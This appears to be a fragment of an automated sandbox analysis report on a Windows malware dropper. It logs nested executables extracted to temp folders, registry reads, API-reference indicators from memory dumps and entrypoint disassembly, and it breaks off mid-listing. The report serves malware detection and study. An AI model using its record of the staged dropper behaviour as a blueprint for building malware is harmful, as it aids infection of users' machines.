base 74250000 "3Ix70mE.exe" loaded module "KERNEL32" at base 77020000 "3Ix70mE.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "3Ix70mE.exe" loaded module "USER32" at base 74cf0000 "3Ix70mE.exe" loaded module "ADVAPI32" at base 76fa0000 "3Ix70mE.exe" loaded module "SHELL32" at base 7501000051:Tb71,"file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\TX4XF64.EXE" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tX4Xf64.exe" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7HO9FX74.EXE" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7ho9Fx74.exe" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\YH9QX09.EXE" "tX4Xf64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yh9Qx09.exe" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6PP6PX0.EXE" "tX4Xf64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6Pp6Px0.exe" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\MU6RE08.EXE" "yh9Qx09.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\mu6rE08.exe" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5UR9CS3.EXE" "yh9Qx09.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5ur9cS3.exe" "mu6rE08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"52:T24f5,"file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007720) "file.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007720) "tX4Xf64.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006500) "tX4Xf64.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006500) "yh9Qx09.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007164) "yh9Qx09.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007164) "mu6rE08.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006672) "mu6rE08.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006672) "Lb2xB02.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007144) "Lb2xB02.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007144) "nk2xW14.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005824) "nk2xW14.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005824) "1BU76bP5.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006512) "1BU76bP5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006512) "AppLaunch.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007048)53:T6b0,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "tX4Xf64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "tX4Xf64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tX4Xf64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "yh9Qx09.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "yh9Qx09.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "yh9Qx09.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "mu6rE08.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "mu6rE08.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "mu6rE08.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Lb2xB02.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Lb2xB02.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Lb2xB02.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "nk2xW14.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "nk2xW14.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "nk2xW14.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1BU76bP5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")54:Ta44,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "file") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "file") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "file") Found reference to API "LockResource" (Indicator: "LockResource"; File: "file") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "file") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "11546964176,6792,3135,,LoadResource,kernel32.dll,"00:17:45.656",RX=0,PX=0" (Indicator: "LoadResource"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")55:T6fb,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "6Pp6Px0.exe.125725185") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "6Pp6Px0.exe.125725185") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")56:T469,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "tX4Xf64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "yh9Qx09.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "mu6rE08.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Lb2xB02.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "nk2xW14.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1BU76bP5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2Zz0679.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "3Ix70mE.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")57:T7a7,"file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "tX4Xf64.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tX4Xf64.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "yh9Qx09.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "yh9Qx09.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "mu6rE08.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "mu6rE08.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Lb2xB02.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Lb2xB02.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "nk2xW14.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "nk2xW14.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1BU76bP5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1BU76bP5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Zz0679.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Zz0679.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")58:Tcae,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "file") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FUNCTION="RegSetValueExW"/>" (Indicator: "RegSetValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")59:T142d,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "file") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp, 00000000-00005824.00000000.68203.03760000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000001.69934.00CB0000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.007D0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp")5a:T199b,"file" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "tX4Xf64.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, 